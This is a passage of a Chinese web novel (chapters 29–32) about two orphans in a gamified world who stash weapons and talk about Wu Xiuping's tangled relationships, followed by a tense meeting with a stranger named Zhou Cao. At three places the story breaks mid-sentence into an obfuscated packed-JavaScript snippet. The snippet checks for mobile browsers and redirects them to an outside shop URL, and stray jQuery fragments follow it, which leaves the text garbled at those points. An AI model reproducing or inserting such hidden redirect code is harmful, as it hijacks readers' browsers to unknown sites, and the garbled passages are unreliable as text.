“这不一样。”穴鼠强调,哪怕他并不明白自己追求的“爱与喜欢”到底是什么样子。可他的目的是要乌修平从内到外,从躯干到灵魂全部属于自己,“我不知道喜欢是什么样子,没关系。你要喜欢我。你怎么对那个死老头怎么好,你就要怎么对我好。”
穴鼠重新跨坐在乌修平怀里。
他将脑袋贴在乌修平胸膛,听着里面那颗跳动的心脏,发表自己的主权宣言,“你的心属于我。知道吗?”
从这里,到那里。
手脚躯干头颅,心肝肺脾,唾液呼吸喘气,温度湿度一切都是属于我的。
你从出生开始直至死亡,一切活着过的痕迹都属于我。
30.第二十九章
第二十九章
乌修平从穴鼠那得到了一箱热武器。
游戏化前时代的道德法制完全失效,但武器并没有撤出消费市场——诚然,武器对一部分职业者没太多效果。但那是指比较小巧的手枪、狙击枪等,例如穴鼠找给乌修平的手榴弹、迫击炮、爆榴弹发射器、手持反坦克火箭爆破筒等还是相当热销的。
“……怎么还有木柄手榴弹?”沈曙雀和乌修平一块将武器搬到烂尾楼里做检查。雨连续下了三天三夜,原本的下水道里已经站不住人,童姥姥等人只能另辟蹊径,转入另外一条稍高的地道中生存。
乌修平走暗道搬出来的武器有一部分放不下去。他与沈曙雀商议,拿出一小部分来学学怎么用。
他们两凑在一起,翻阅本相当老的《武器大全(儿童百科全书)》,跟着上面只言片语的几个字学习起来。
沈曙雀有武器,什么都不怕,拎着观察好几次,“老电影上都这么抡出去吗?是不是还得拔掉什么保险?”
乌修平也不太懂。
他仔细阅读一会儿,两个人都有些发憷,受着那堆武器可劲研究。他们是受了诅咒,一个鲜血异常,一个屏蔽疼痛,但他们依旧会受伤会死亡。
“我觉得还是这个好用一些。”沈曙雀提起手持的反坦克火箭筒,煞有其事胡说八道,缓解气氛,“哪怕里面没弹药,我也能抡着这么粗的棍子敲人闷棍。”
PF98A式120mm反坦克火箭,10kg重,外观上像一根粗壮的绿色钢水管,前后一圈八边形黑粗罩子,分别是两个前后护罩。管子正中央焊接着类似机枪把柄的握柄,上方一个长而粗的提把,不难看出战争时期这是个应用灵活的大杀器。
“都改装过。”乌修平看得心慌,上前扶了一把沈曙雀,“你可别在这里开一炮。”
“哈哈哈。那我们两都要埋在这里啦。”
沈曙雀兴致勃勃,将眼睛凑在各个地方看起来。实践下,她大概熟悉了这个改装到只有3个瞄准按键的反坦克火箭,反复扭动调焦手轮和视度手轮后,她告诉乌修平,“我觉得可以选一些孩子操作这些东西。”
“你说真的?”
“当然。”沈曙雀可有自己的道理了,“谁知道我们哪天就给人杀了。哦。让孩子们学会怎么用手雷就好了。我的意思是,至少要他们知道怎么同归于尽。”
乌修平理解沈曙雀的意思。
但他并不是为了让人送死才拿来这么多武器。
“穴鼠先生说,下次去会给我更好的武器。”乌修平哗哗翻书,狡辩道。他是职业刺客,这个职业用手榴弹、迫击炮、爆榴弹发射器、手持反坦克火箭爆破筒……当然没什么问题。
就是,稍微,有点太显眼了。
乌修平作为游戏化时代出生的小孩,受到的教育全部与“游戏化”相关。如果让他选择,他还是更相信有加持的的武器和药水。
沈曙雀却不这么想。她想起自己的事,羡慕乌修平极了,“老鼠老板平日抠门,关键时候还怪慷慨的。这些东西找齐也要花好多钱吧。”
乌修平满脑子都是穴鼠白花花的身体。
他沉默不语,沈曙雀也不慌张,折腾反坦克火箭,独自说着话,“还记得义演团那些人吗?真是稀奇,我昨天出去透气,好像又看到他们。”
乌修平摇晃脑袋,让自己去研究武器,而不是研究穴鼠的身体。沈曙雀继续自顾自地说闲话,“也不知道是不是看差了。我觉得之前那个神秘人也在里面。真是奇怪,如果是自己人为什么要全杀了呢?”
乌修平说道:“他们或许有一位幻术师?”
沈曙雀左思右想,肯定道:“谁知道呢。不过他们实在是富裕。那天打成那个烂摊子,他们居然还在巡演——不过避开仁爱院附近,去隔壁的隔壁那边。哦?这是什么按钮?”
乌修平听到“崩”一声响,差点原地蹦起来。沈曙雀为他的丑态哈哈大笑,展示空空的炮筒,“我还什么都没装呢。”
“你会操作了?”乌修平拍着胸口,惊愕不止。他手中的书还没有翻到一半,中间好几个什么什么东西,他都不太懂。沈曙雀却一字不看,自己折腾大半天,扫两眼图片,学会怎么使用。
她煞有其事和乌修平介绍起来,“这不是很简单吗?你看,这是以前的电池盒,现在给改装了……眼罩在这里。然后三个地方都可以调节……最远可以看到那边那个电视塔尖尖,差不多目视三千米?”
乌修平还是不敢相信,“你学会了?”
“应该。”沈曙雀提议道:“要不打一炮?”
乌修平没这个胆。他摆手,将那本《武器大全(儿童百科全书)》丢到一边,“曙雀,你以后一定会出人头地。”
沈曙雀哈哈大笑,没有当真。
乌修平却满心眼为挚友惋惜,“你的转职任务一定能完成。游戏面板不可能给出没办法完成的任务。我们只是没找到契机。”
“哼。比起我。你稍微在乎下自己的等级问题吧。”沈曙雀被说得舒服极了,嘴巴也不饶人,“到时候,我们像那天那个神秘人一样咔咔把所有坏人都杀光。”
气氛轻松起来了。
沈曙雀和乌修平检查大部分武器,虚空熟悉下武器的状况。外面雨水越来越大,他们将携带的防水布掏出来,盖住这一部分武器,又把叶生光制作的简易阵法贴上去,达到隐蔽效果。
类似的武器库,他们布置了三个。
毕竟,沈曙雀和乌修平作为敌人的主要集火对象,他们不太可能在下水道进行地道战——他们怕把下水道打崩,仁爱院那些没有战斗力的孩子直接掩埋在地下,死无葬身之地。
“这雨再下,大家都得回到地上。”沈曙雀话题又一转。乌修平保持沉默,偶尔附和沈曙雀两声。
这并不是因为他不想同曙雀说话,而是很多时候乌修平不知道怎么说才好。
他只要出声,沈曙雀便会极开心。
“秋雨总下得很长。”乌修平解释道:“我更担心冬天。”
“平叔醒过来。你现在是什么想法?”沈曙雀又转了话题。她靠近乌修平,压低声音,“出门前,修女正在给平叔修袖子。要做得符合他现在的体型。”
乌修平不出声。
这一次是真的不知道说什么好。他在沈曙雀面前支支吾吾,联想到三年前那场告白,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478498|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与沈曙雀一同在荒坡上摘花。沈曙雀频频将新掐下来的花枝塞在他怀里,两个人用蛋糕店废弃的缎带缠绕花枝,差点为蝴蝶结的打法吵起来。
“我还要问你是什么想法呢。”乌修平嘴硬道:“你之前还说要杀平叔。”
“我。”沈曙雀快步走到乌修平耳边,手掌盖住其一片耳廓,小声嘀咕道:“你先告诉我,你对平叔还有感觉吗?”
这么私密的事情,乌修平觉得很难为情。他偶尔会觉得沈曙雀作为女孩子,太没有分寸感,可他除了沈曙雀没有其他朋友,也不知道要如何倾诉。于是,他同样拉着沈曙雀,用手盖住一片耳廓,低声道:“应该是有的。”
说话间,乌修平感觉到一阵隐秘的快感。
废弃的烂尾楼,接连不断的浓密雨声,昏暗房间中时不时闪过的黑影似乎是爬虫又似乎是别的生物,半身处令人难以启齿的疼痛,面前一无所知的挚友。乌修平眼前再次浮现出穴鼠的脸、体温、质疑。
对平叔还有感觉吗?
应该是有的。
那么对穴鼠呢?
也应该是有的。
只是那是两种不一样的感觉。乌修平隐晦地做着渣男,仁爱院里教他要专一、忠诚,可他现在对两个男人犹豫不决,甚至前脚才对一个男人做出承诺,发誓从身到心都属于对方。
“什么叫应该?”沈曙雀不理解,“我早想和你说了。平叔就没那方面的想法。”
“我不要。”
“什么叫你不要。”沈曙雀语速加快,“他醒来不和以前一样亲近你。你还想什么呢。”
“发生这些事情不亲近我,也是应当的。”
沈曙雀冷笑起来,用手锤乌修平好几下。反正她这么不痛不痒打几下,乌修平不叫唤不求饶,又臭又硬矗在原地,继续自己那可笑的占有欲,“阿雀。你呢?你又是什么想法。”
“我?平叔要是想死。我会马上杀了他。”沈曙雀冷冰冰地说道:“我的想法也从没有变过。说真的,啊呜,我之前一直担心你忽然把平叔抱走。”
她的语气很平淡。
平淡到乌修平后知后觉意识到这是一句多么不信任自己的话,浑身发毛。
“阿雀,你这么想我?”
“没有啊。”沈曙雀十分自然地说道:“我们两多熟啊。啊呜,其实我有很多事情想问你,只是有些事情说出口,我们关系就会变了。”
雨幕带起大量水汽,雨点鞭挞在广告幕布上,三角形的剪口翘起一两个边,冷风飕飕倒灌进来。乌修平感觉一切都是那么陌生,好像随着他做出最开始那个决定起,他身边所有关系都发生了变化。
“那就别问了。”乌修平道:“我不想听。”
“和平叔这件事有关,我不得不问。”沈曙雀耸肩,低头看着脚上的鞋。那还是平叔买给乌修平的运动鞋,由乌修平分享给沈曙雀穿。后来,乌修平长得更大一些,有了新的鞋子。沈曙雀却没有长大多少,她终于有机会独享这双平叔买给乌修平的鞋子。
“啊呜。”沈曙雀道:“既然喜欢平叔,为什么你又和别的男人上床。”
她道:“那个男人,不会是老鼠吧。”
31.第三十章
第三十章
乌修平敢肯定自己那一刻的表情是扭曲的,牙齿像早上起来没刷牙那样焊出许多口水,舌头从牙齿上啧开,干涸与臭气源源不断地冒出来。他清醒意识到这个可怕的问题,不,应该是沈曙雀这个可怕的女人。他像当众出轨的男人,被抓了个现行,不需要知道哪里出问题,拼命为自己的过错狡辩。
“我没有。”乌修平道:“你又在瞎说什么。”
沈曙雀看着他。乌修平感受到一种毛骨悚然、非常真切的心惊胆战,都不需要沈曙雀继续说什么,他拔高嗓子,内心完全被恼怒填满,“我说了我没有。”
“真的吗?”沈曙雀道:“好吧。”
她低下头。烂尾楼外,雨水暗淡的闪烁着,遥远的数条街上,行人屈指可数,每一个都匆匆打着伞,匆匆走着。乌修平被她这模棱两可的话推到一个进退两难的地步。他忽然意识到,自己那慌张的反驳,恰恰是另外一种意义的承认。
阿雀已经知道了。
“我和穴鼠先生什么都没有发生。”乌修平竭力地说出这一行字。说话的时候,他总觉得雨水中传来啮齿动物的咀嚼声,生物的脚步声融化在呼啸的风里。沈曙雀垂散的乌发随着冷风到她的嘴唇、面颊、眼睑上。
她用手撩开,平静地看着乌修平。
“啊呜。”
天空低低地压下来,一瞬间最后的光亮都消失了。雨丝不再闪烁在灰蓝色的幕布上,反而,他们变成升堂前的威武。乌修平不由自主靠近沈曙雀两步,愤怒与恼怒两种情绪在他丑陋的脸上来回跳跃,打进来的雨点弹射起带泥的水,溅在他的手臂和裤脚上。
凉丝丝的。
沈曙雀道:“说说你就生气。”她也向前一步,两个人之间没有半点缝隙。乌修平缠绕在手臂上的匕首正抵着沈曙雀的腰腹。她用手按着,扬起脸看向乌修平,“难道是我的错吗?”她说完这一句句,那匕首都剧烈地颤抖下,最后别向另外一边。
乌修平用手掌扶住沈曙雀。
他将头颅埋入女孩的脖颈中,“你懂什么。”
“我确实不懂。”沈曙雀道:“为什么不和我说?我难道会嫌弃你吗?难道我会因为你和哪个男人睡觉骂你吗?……好吧,我也确实会多说两句。啊呜,啊呜你要想明白,平叔并不是你能睡的男人。”
“那不一样。”乌修平说完,感觉这番话有所歧义。他笨嘴笨舌解释道:“我并不是为了睡……才这么做。我,喜欢,平叔。”
喜欢两个字烫嘴又拗口。
乌修平花费些准备才说出口。他看到沈曙雀的脑袋花一样垂落下去,女孩没有再说话,她潦草打结的头发缠成小撮,在乌修平胸口与下巴上随风绕圈。
乌修平忍不住用手指梳顺那些乱发,中途扯得沈曙雀叫疼,还挨了女孩两下。
“我以为你会骂我。”
沈曙雀道:“我不光要骂你,还要打你。”
“你打吧,你打吧。”乌修平重复好多遍,心虚不止。他情愿沈曙雀多骂自己两三句,也不要再深挖自己与穴鼠与平叔的关系。他没办法说太多,也没办法说很仔细——他觉得沈曙雀也意识到了,这个聪明的女孩扑上来抱住他,压住他匕首的那一刻。乌修平为自己脑袋里瞬闪过的杀意感到深深地懊恼与自卑。
他将沈曙雀与那些情情爱爱放在一起比较,眼泪都要掉下来了。
沈曙雀却被他梳理头发的动作扯到,不痛不痒地敲打他的手臂,“每次说平叔你都不开心。我日后懒得说你了——啊——谁爱管谁管去吧。反正平叔也更照顾你,你像是他儿子一般。”
乌修平将头发梳整齐了。他环抱着沈曙雀,仔细给女孩扎辫子。这种笨拙的讨好方式,配合他日渐增长的肌肉有种张飞捏绣花针的美感。
“阿雀。我错了。”
“你有什么错。”沈曙雀哼哼撒娇道:“你内心觉得自己什么错都没有。你厉害着呢。”
“我真错了。”乌修平道歉道:“但你毕竟是个女孩子。”
沈曙雀翻白眼,没扎好的头发甩出乌修平的手。乌修平要去捉,她就道:“好啊。我是女孩子,我不该问睡觉的事情。你是男孩子,你就直接和人睡在一起。太棒了,天下全是这样的道理。”
乌修平还是捉到沈曙雀的辫子。
他哄着,姿态格外低的将沈曙雀揽在怀里,道歉,给人扎头发,“是没有这种道理。我错了。阿雀。”
因为是沈曙雀,乌修平情愿放低姿态去哄。
他从没有这样哄过穴鼠,也没有这样哄过平叔,但曙雀和他们都不一样,乌修平心里沈曙雀是不一样的。
沈曙雀却不吃这套。她打眼知道乌修平哄着自己,不过是敷衍自己。这个男人嘴巴上说着一套,实际上心里还坚持自己那套破烂爱情。
“你在上面还是下面。”
乌修平支支吾吾半天,还是老实告诉沈曙雀这等私密事,“上面。”
“多久了。”
“两年多。”乌修平隐瞒掉一部分。等他说出来后,才发觉面对沈曙雀,自己预料之中的恐惧与难堪消散殆尽。他用皮筋束好发,将沈曙雀的头发盘成花蕾状,调整形状和碎发。
“这么久!”沈曙雀转过身,拧一把乌修平的大腿,“你瞒了我这么久。”
乌修平连连说,“我错了我错了。”半晌,将女孩抱在怀里,两人安静地呆了会。
“你真的喜欢平叔吗?”
“嗯。”
“你怎么判断喜欢?”
“心跳。”乌修平牵着沈曙雀的手,搭在自己的胸口,“跳得很快。”
“你出去跑个八百米体测,心跳跳得快呢。怎么?你还喜欢体测吗?”
“……那不一样。”
沈曙雀不听这种生理判断。她更情愿觉得乌修平就是见色起意,她猜测穴鼠一定是个顶顶的大美人,哪怕她从始至终都没有见过穴鼠。
“叶子同我说,要你多接触接触平叔。”沈曙雀道:“我知道她怎么想的。她觉得平叔之前遭到人侵犯,见到你肯定会害怕——因为你是个男的,放心。除了我,没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493159|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人知道你喜欢平叔。”
乌修平刚松口气。
沈曙雀道:“我是绝不同意这么做的。她想提高你的战斗力。可我们提高战斗力是为保护平叔,如果要通过伤害平叔来提高自己。我们和那些伤害平叔的人有什么区别呢?”
乌修平承诺,他不会用平叔升级。
“这个承诺没有用。”沈曙雀道:“你能承诺,之后都不要出现在平叔面前吗?”
乌修平承诺不了。
他觉得自己也不应该是平安生痛苦的根源。
沈曙雀便换了一种方式。她牵着乌修平的手,要对方发誓日后去见平安生一定要带着自己。
“就像那天告白一样。”沈曙雀郑重地,她将手搭在乌修平掌心。乌修平娴熟与她十指相扣,乖乖地听女孩命令自己。
“我会站在你身后。你不准一个人和平叔见面。我会站在你附近。”
一旦你做出任何不恰当的举动,我都会打断你。
“嗯。”
因为是沈曙雀,乌修平允许她这么做。
阿雀是不一样的。
“这雨可真大。我们快回去吧。”
“嗯。”
他们爬起来,手却还牵着,好似小孩那样。瓢泼大雨中,高楼大厦像冰淇淋一样溶出灯光,这些可怜的霓虹色掉在棚户区中,再从所有屋檐上哗哗流下来,在下水道口形成肉眼可见的漩涡。
远处,轻轨穿行轰鸣。一切有生命的存在都怯生生地蜷缩着、逃跑着、躲避着,乌修平脱掉身上最后一件外衣,挡住沈曙雀新扎好的头发。任何地方、任何人与动物都产生对这不正常大雨的恐惧。
“被淹了。”沈曙雀低语。
他们暂时不能回到地下,于是在地上寻到一家关门的商店,躲在人家的遮雨棚下。啪啪的雨点在遮雨棚上堆积起一个小小的洼地。一个戴着兜帽的男人,浑身长满斑驳的湿透的黑点,正仰头看着雨棚上的洼地。
乌修平用手擦头发。沈曙雀撩起袖子给他擦脸。他们并肩,贴着避开那个男人。
“附近有旅店吗?”
乌修平没意识到是谁在说话,直到那个男人再一次询问。他转过脸,回答道:“有的。往前走到底,再向右。”
乌修平还要再说,沈曙雀用手肘顶了他下,他便乖乖闭嘴。
“谢谢。”男人的目光一丝一丝从乌修平那张可怕的脸上抽回来。他靠在墙上,继续看雨棚上的洼地,等到乌修平和沈曙雀以为他睡到时,说道:“我记得这里有一个孤儿院。现在拆迁了吗?”
这下不用乌修平回答,沈曙雀呛着说道:“对。半年前就搬走了。”
男人从裤口袋里掏出一包烟。皱巴巴的烟盒里,全是皱又潮湿的烟。他抽出一根,咬着,没点。
四周雨声噼里啪啦一阵紧着一阵,檐水哗哗朝着他们脚边倾斜下来,越来越近。
路灯极快地频闪几下。
“你是不是叫乌修平?”男人对乌修平道,随后自言自语喃喃起来,“好像是叫这个名字。”
32.第三十二章
第三十一章
乌修平没有与仁爱院之外的人深交。
再准确点,他从高中课堂毕业后,除非雇主要求,他基本不会使用“乌修平”这个名字。黑市里与他做交易的穷苦人会叫他“丑鬼”“疤痕”或“乌鸦”。面前人叫他的本名,乌修平只能排除掉极小的一部分人群。
他听到耳边细微的弹簧声。沈曙雀用手扯着他的袖口,露出半个手指和椭圆形地雷。乌修平由此侧开一点,露出条投掷的线路。
“看来我没有认错。”男人扣住下巴,“放下那颗手雷。女孩。要是爆炸,我不会死,你一定死。”
沈曙雀不喜欢这种高高在上的笃定。
可她与乌修平同时知道,他们与高等级者正面拼刺刀,毫无胜算——神秘男人又不是他们两的守护神,每次都掐准点赶到现场。
“你是平叔的队友。”沈曙雀翻出地雷。她挡在乌修平面前,开口道:“你现在来做什么。”
男人终于露出点意外的表情。他依旧没有摘下兜帽,转过身,露出一双被魔力染成蓝色的双眼,“就不能来看看吗?”
“少装蒜了。”沈曙雀对男人竖起中指。地雷拉环正好扣在那上面,沈曙雀微微弯曲就能引爆整个遮雨棚。她道:“早不出现,现在来做什么。平叔失踪三年,你忽然找我们做什么。”
男人笑笑。
他向前迈出一步。遮雨棚下的雨帘忽得断线,每一颗水珠都倒映出男人的身影,拖出漫长的残痕。强烈的水汽拍在乌修平的脸上,他抽出的匕首刺破男人的咽喉,鼻翼与眼睑溅起一层水花。
全是幻影。
男人站在他与沈曙雀的背后,双手齐齐拍在两人背后。
“这才是我要问你们的吧。”他道:“你们这么紧张做什么?”
去喝杯咖啡吧。
*
棚户区往外走五百米,左拐右拐,沿着逐渐平整的墙面和马路,就是正常的生活区。
夜生活刚刚开始,秋天还没有完全进入之前,马路晒着点暖黄色的路灯,干燥,整齐。乌修平和沈曙雀每走一步都能感到强烈的不适应。他们湿哒哒的脚印在地上拖出一条漆黑的坑洞,好像踩在未成形的水泥上,周遭人每一眼都责怪他们破坏公共设施。
“啊呜。”沈曙雀没有放开地雷。她紧绷着脸,显得很难堪,“我们回去吧。”
乌修平将外套拉链拉到顶,竖起来,遮住下半张脸。他轻轻捏捏沈曙雀的手。
沈曙雀脸摆下来。她边埋怨边观察四周,“真是服了你。我还是第一次去咖啡馆。啊啊啊啊,我不喜欢餐饮行业啦。”
兜帽男人走在前面,也不看后面两只畏畏缩缩的小动物。到达目的地后,他推开大门,占据盆栽后的卡座,娴熟点了咖啡和蛋糕点心,把菜单推到二人面前,“想吃什么?”
乌修平没心情看菜单。
他将菜单推给沈曙雀。沈曙雀拿着本子翻得很大声,脸上逐渐露出渴望。
她问道:“这里有奶黄包吗?”
“奶黄包要去早餐店买吧。”男人不太理解地说道。他发现乌修平和沈曙雀都不爱点单后,给他们一人一份热卡布奇诺,一份蛋糕。
沈曙雀则开始嘀嘀咕咕反驳,什么破餐厅,奶黄包都没有。乌修平也跟着嘀咕起来,这种抱团行为让他们穷困的内心找回一点自尊。但很快又被没见过的紧致摆盘、餐厅里若有若无的轻音乐打败、温柔舒适的布景一一打败。
乌修平还有点见识。他哪怕没吃过,多少为穴鼠跑腿买过——偶尔,他幸运吃到最后一两点蛋糕胚,站在垃圾桶边上,用舌头舔盖子上沾着的奶油。沈曙雀却真的没尝过,她去过的餐饮店绝不让她上前台,她没日没夜地洗碗、泡消毒水、洗碗,双手秃了皮得洗。
“没什么好喝的。”乌修平压一口,对沈曙雀道:“还不如白粥香。”
沈曙雀“就是就是”地嫌弃,吸溜干到杯底。她擦掉嘴角的沫,看到对面男人眯着的双眼,反复擦嘴角,直至嘴角泛红。
“安生没带你们来过咖啡店吗?”兜帽男人自我介绍道:“也对。他就是那种古板又正义的家伙。我是他的朋友,周曹,你们叫我周叔、曹叔都可以。他在你们那,对吧。”
乌修平下意识反驳。
周曹却抬起手,压制下他即将要说的话,未卜先知道:“好了。我知道你们不会告诉我真话。吃蛋糕吧。安生除了生日,不会买给你们吃这种……嗯,他觉得垃圾的东西吧。”
“要你管。”沈曙雀道:“有话就直接说。”
“嘿。这么凶。”周曹笑起来,“我和乌修平说话,怎么都是你在说。”
乌修平道:“曙雀的意思就是我的意思。”
这下,给周曹搞得有点不知道怎么回答了。他眼珠子在这对过分亲密的朋友身上打转,落在乌修平身上,“你,男女通吃?”
乌修平没有反应过来。
沈曙雀掀起蛋糕盘子,朝着周曹脸上摔,可惜差了一招,提前被对方的被动保护罩挡住。蛋糕盘连同蛋糕胚、奶油裱花稀稀烂烂地掉在桌上。
沈曙雀道:“敢乱说,我撕烂你的嘴。”
乌修平愚笨的面对情感的大脑,时隔三年终于意识到一个重要的事情:他叫沈曙雀保密,但他从没有叫平安生保密。
乌修平瞬间产生了杀死面前人的错觉。他想站起来,将曙雀揽到背后,自己提起刀,狠狠扎烂保护罩。
可他最终没有那么做。
因为周曹用一种古怪又难以描述的目光看着他,好像一张卷子上的脏污,用橡皮用力擦了半天,怎么都擦不干净时的懊悔。
“原来是真的啊。”周曹嘴唇蠕动,没有发出声音。乌修平却从中读出穿云裂石之声。
他呆坐在原地,低头,看到自己的手,侧目,看到玻璃挡板上倒映出的脸。沈曙雀也读懂了那段没有发声的桥段,她比谁都要激烈地站起来,拽着乌修平的手往外走,“你放屁!啊呜。我们走。别和这种家伙废话。”
他们走出咖啡厅。
乌修平心力衰竭般摇晃起来。沈曙雀搭着他的胳膊,两个人垂头丧气靠在一侧墙上,谁也没有说话。
周曹没有追上来。
这个男人莫名其妙地出现在雨夜的棚户区,莫名其妙请他们喝咖啡,似乎在验证什么东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518316|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“啊呜。”沈曙雀道:“谁知道他说得是真是假。我瞎编能编一百条。”
“可是。”乌修平摇摆不定,“我确实是个同……平叔。”他闭上嘴,将“不喜欢”三个字吞咽下去,鼻子酸皱着,掉了颗眼泪。
沈曙雀围着乌修平,抬头不是,低头也不是。最后,她也没办法,环抱乌修平让男人把泪水全哭到自己的锁骨窝里,怨气大发,“这不是早知道的事情吗?你哭什么。哎呀!回去你要给我烧热水。脏死了。还有衣服。你给我洗衣服。”
乌修平点头到最后,脑袋邦邦撞墙。沈曙雀用手挡住乌修平的脑袋。她可不是几句你好就能打发掉的人,再次强调道:“洗衣服。”
乌修平狠狠吸口气,打嗝。
“平叔不喜欢你。这不是早知道的事情吗?”沈曙雀道:“好了。我的天啊。你这么在乎这句话,怎么不注意后半句?”
乌修平有点懵。
他不如沈曙雀仔细聪明,此刻擦擦脸,问,“什么后半句。”
沈曙雀经常解读燕语姐的唇语和眼神,准确度极高。她道:“他说,都是你害了平叔。因为你是痛苦与疗愈之神的造物。反正这个意思,自己想去。”
不过也很有意思。
沈曙雀对乌修平吐舌头,“我是瘟疫与疾病。你是痛苦与疗愈。我们是什么人间受难组合吗?”
瘟疫与疾病之神。
沈曙雀无比憎恶这个神灵。她身世分明,并不需要过多解释,也解释不了什么。她自己只是无辜的艾滋病婴孩之一。
痛苦与疗愈之神。
反而少见许多。按照目前流行的“神职”理论,乌修平若真的是神灵造物、神灵爱护之人,他的转职就该和沈曙雀一样,提前显示出非凡、艰难,以及夸张到极限的难度。
而不是转职成平凡的刺客,不明不白卡在15级。
“我好像听过这个神的名字。”乌修平对沈曙雀道:“平叔被做成‘痛苦之匣’……穴鼠先生告诉过我。”
痛苦之匣,是痛苦与疗愈之神的造物。
但这与自己不符合。
乌修平看着自己伤痕累累的双手,擦拭脸上的泪痕。他对沈曙雀道:“要不你打我一下,看看会不会升级?”
沈曙雀果断给乌修平一巴掌,打开游戏面板,“你想什么呢。你都会屏蔽疼痛了,肯定没效果啊。啊呜。你不会觉得自己和平叔一样是痛苦之匣吧?你们明明不一样啊。”
是了。
乌修平看着自己的伤口,想到他与平叔最大的区别:
治疗药水对他无用,他的伤口永生永世不会消失。
与此同时,他能无视沈曙雀的鲜血诅咒。
上学时,乌修平可以无视全校、全区、全校几乎任何等级、所有诅咒类的攻击。
只要不是一击毙命,只要能拖到足够的时间让伤口缓慢回血。
乌修平永远能站起来。
他可以屏蔽掉疼痛,治疗术对他没有任何效果。他就像是末日小说中,砍掉半身也会挣扎着咬死对方的“僵尸”。
他小时候确实怀疑过自己是不是“不死之身”。
33.第三十二章
第三十二章
棚户区的雨下到第五天。燕语依旧没有要回到地面的踪迹,她的工作假期全部用完,她已经无法回到地上从事那份高薪酬的女仆工作。现在的她和还没出去工作的孩子一样,无偿照顾其余发烧的孩子们。
平安生也发烧了。
乌修平没有去看。他遵循对沈曙雀的承诺,没有再独自靠近平安生。反之,乌修平开始频繁去找穴鼠——似乎是意识到提高自己,他无论如何都离不开穴鼠的支持。周曹的出现让乌修平增加了几分紧迫感。
穴鼠对此不屑一顾。他指责乌修平把自己当做工具人一样使唤,大闹说乌修平对沈曙雀的姿态不像是朋友,更像是恋人。反正他们之前总是吵架,吵到中途就不知道为什么开始滚床单。
乌修平很难评价他与穴鼠的关系。
他需要穴鼠。
可他又切实觉得穴鼠并不是真正的爱着自己,他自己也无法言语自己对穴鼠的情感是什么。
穴鼠实在是过分美丽,也过分强大了。很多次,乌修平蹑手蹑脚离开床榻前,长久注视着穴鼠的面庞。在目光所及的短短几秒钟里,穴鼠的容貌在他心中形成一尊端庄的石雕。
两人欢爱与争吵时激烈的情绪荡然无存,穴鼠的睡颜上有女孩子似地纯净、天真、稚气,额角上柔软地垂下乌发,一种纯然的孩子气随着呼吸波纹似地扩散到全身。
他这样不是很好吗?乌修平偶尔会很没良心的想:只要不随便发脾气,谁能不爱穴鼠?
“这雨下得太久了。”穴鼠睁开眼,深吸一口气,皱着鼻子从床上爬起来抱怨,“我都睡潮了。”
他双手环住乌修平的脖颈,亲昵要再来一次欢愉。乌修平已打算走。
“下次给你带干燥剂。”
“钱还够吗?”穴鼠打哈哈,双手不够,双脚也盘上来。他整个人盘在乌修平背上,声音软软,一副没睡醒的憨态,“我最近看到一个很适合你的武器。”
“什么?”
穴鼠打一个响指,一团白光从快递盒山里飘出来,数个纸盒窸窸摔在地上。乌修平等会还得去收拾,目光却完全黏在白光上。他模糊看出那是一把长方形的武器。
“你喜欢那个老男人,是不是因为他送你东西。”穴鼠问道。
乌修平忽然明白穴鼠拿出这件武器的意思。他很想回头看看男人说话时到底是什么表情,由此更明确这句话是包含什么他猜测之外的意思。可穴鼠扎在他背上,这番话说得又那么平静,完全不像是过去那个偏执又疯癫的穴鼠。
乌修平无端感到一阵寒意。
他想,自己应该说“是”还是“不是”,还是什么都不说最好?
穴鼠将头埋在他的脖颈里,乌修平感觉到对方的唇贴着自己的脉搏。这让他更联想到自己答错题目后,鲜血喷涌的场面。
“我也送你东西了。”穴鼠低低地说道。他最近不知道遭遇了什么,情绪变得格外低落。乌修平领口的布料被他的手揉成一团。
穴鼠道:“我送得还更多点。”
乌修平还是没忍住。他偶尔真的会对穴鼠这样美丽又炙热的爱意心动,但他地心动并非线性的连贯的持之以恒的,他对穴鼠的情感就像一段音乐中的定音鼓,邦邦邦,呈现出圆点状,断断续续,偶尔的出现。
他与穴鼠并没有什么很深的渊源,穴鼠莫名其妙的狂热之爱,只会加深乌修平心中无端地恐惧。
对比之下,他自然萌生不出什么细水长流的爱。
“那不一样。”乌修平回答穴鼠,“平叔送给我的东西,从没有你送我的那么贵重。”
穴鼠并没有为此升起斗志。
“你是我的。对吧。”穴鼠重复问了好几遍。乌修平回答他许多遍是的。穴鼠却一遍遍收紧双臂,乌修平感觉自己咽喉上套着这一个枷锁。他只能继续强调自己与曙雀那些承诺,说自己不会再单独去见平叔。
